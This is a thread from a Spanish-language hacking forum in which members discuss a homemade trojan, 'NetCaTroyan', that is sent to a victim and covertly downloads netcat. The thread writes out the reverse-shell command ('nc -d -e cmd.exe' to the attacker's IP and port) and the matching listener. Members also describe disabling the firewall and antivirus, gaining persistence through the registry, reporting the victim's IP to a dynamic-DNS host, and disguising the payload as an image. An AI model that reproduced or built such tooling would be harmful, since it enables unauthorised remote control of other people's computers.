Autor
|
Tema: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan. (Leído 33,874 veces)
|
Nosferatu
Desconectado
Mensajes: 226
Euskadi, bat eta askea!
|
Pues el server es lo que has de mandarle a tu victima, que lo que hace es descargar sigilosemente el netcat (nc) de una web. El editor sirve para editar el server, es decir de donde quieres que se descargue el nc.exe y que comando quieres que se ejecute en la maquina objetivo. el nc (netcat) esta ahi por que es imprescindible, porque lo que tienes que hacer es poner a la escucha en tu maquina para que te llegue la shell de la victima, segun el comando que has elegido. Ejemplo:has editado el server para que descargue netcar de http://www.dondesea.org/nc.exe y tambien para que ejecute el comando nc -d -e cmd.exe tu.ip.tu.ip 5000 (es un ejemplo, el 5000 es el puerto) Asique en tu maquina lo que deberias hacer es: nc -vv -l -p 5000. lo que haces con esto es dejar en escucha un puerto para que te llegue algo, que en este caso es la shell de tu victima Lo mejor es que te leas un buen manual de netcat, y te daras cuenta de que lo unico (pero bueno) que hace el server es introducir nc en la maquina victima Saludos!! PD: insisto en recomendarte que leas algo sobre netcat antes de usarlo
|
|
|
En línea
|
Triste zaudenean, triste zaudenean, pentsa esazu, zure lagun onenean
|
|
|
bigsnake
Desconectado
Mensajes: 626
|
bueno sin el editor no se pode hacer nada... a mi no me edita el arxivo ni nada d eso..... ??? ??? ???
|
|
|
En línea
|
|
|
|
antraXactive
Desconectado
Mensajes: 422
pkg_delete sgae
|
yo hice esto hace algo de tiempo, solo que en vez de en vb, lo hice con un bat y con haciendo un auto extrahible (sfx), ademas añade al registro las claves necesarias para que el firewall de windows no salte y quiero hacer que desactive los antivirus panda y norton... y si me dicen de mas antivirus que lo detecten como una herramienta mala malota pues también, pero bueno todo esto cuando tenga algo de tiempo que ahora ando muy muy liado.
y una preguntica, cuando el usuario apaga su pc y lo vuvele a encender este intentará conectar con nuestro pc para darnos la shell, pero imaginemos que por cualquier cosa nosotros tenemos apagada nuestra computadora, netcat seguiria intentandolo hasta conectar? no se, o si no tiene router y necesita conectar esta claro que hasta que no conecte el netcat no encontrara nuestra ip, asi que no funcionaría? yo en mi bat tenia ese problema, pero en mi mente ya ha circulado la respuesta, es bien sencilla, lo que aré es que el netcat intente conectar con nosotros a cada hora, por ejemplo, la víctima enciende el PC, pues a las 00:00 intentará conectar, después a las 01:00, 02:00, 03:00, etc
Salu2
|
|
« Última modificación: 5 Octubre 2005, 18:29 pm por antraXactive »
|
En línea
|
Bababa
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
Hola amigos , el programa esta lindo , osea mejor dicho la idea esta buena , pero supongamos que la victima no tiene la runtime de VB6 MSVBVM60.DLL , el programa no andaria .Y se acabo todo Salu2 ! A partir de Windows 98 para arriba (excluyendo este) todos los demas SO contienen esa libreria y no supone un problema a gran escala. PD: Yo he programado mi propio programa (Intrusion Net Cat) que desactiva el firewall de windows, envia una notificación a xxxx.no-ip.info para saber la IP de la victima, se autocopia a system32 y se inicia desde el registro, luego baja el NC de un servidor FTP (sin usar winsock o INET) y lanza la shell, todo esto sin que la victima vea nada. El programa ocupa 20kb, está en fase beta y a la espera de la construcción del edit server.
|
|
|
En línea
|
|
|
|
SeniorX
Desconectado
Mensajes: 1.347
Programador Novato
|
|
|
|
En línea
|
try { live(); } catch (ShitHappensException ex) { MessageBox.Show(ex.Solution) } Precaución: La programacion puede producir adiccion
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
Necesito beta testers para comprobar un correcto funcionamientom, lo he probado en localhost con Windows XP y con un amigo (internet) con Windows XP, quiero hacer alguna comprovación más en WinXP y alguna en Windows 98/ME. Interesados que me agreguen: yeikos@hotmail.comSi me agregan no es para preguntarme cuanto falta, sino para ayudar, gracias .
|
|
|
En línea
|
|
|
|
SeniorX
Desconectado
Mensajes: 1.347
Programador Novato
|
yo te agregue a msn
|
|
|
En línea
|
try { live(); } catch (ShitHappensException ex) { MessageBox.Show(ex.Solution) } Precaución: La programacion puede producir adiccion
|
|
|
Oprah
Desconectado
Mensajes: 12
|
Buenas Gente Baje el archivo y se entiende como funciona, no se si funciona, pero es simple, trabaja como un troyano creo yo, tennes que mandarle el server y cuando lo ejecute la orden es bajar de una web el nc configurado para q se ejecute solo y haga estas opciones q le pedimos al editar server.exe Si bien la idea es buena, el problema siempre sigue estando, mandar un archivo .exe es sospechoso y aunn no encontre quien me diga como mandar una foto, una simple .jpg que al abrirla instale el programa. Ademas, si hay q enviar un exe, para eso enviamos el nc.exe ya editado y con el nombre cambiado. Nos esta faltando una forma no sospechoza de meter el nc en una maquina.
|
|
|
En línea
|
|
|
|
SeniorX
Desconectado
Mensajes: 1.347
Programador Novato
|
porque le dan tanta vuelta al tema si hasta la persona mas tonta tiene un firewall o un antivirus, o las 2.
|
|
|
En línea
|
try { live(); } catch (ShitHappensException ex) { MessageBox.Show(ex.Solution) } Precaución: La programacion puede producir adiccion
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
porque le dan tanta vuelta al tema si hasta la persona mas tonta tiene un firewall o un antivirus, o las 2.
Eso es problema para el INC 2.0 .
|
|
|
En línea
|
|
|
|
|
|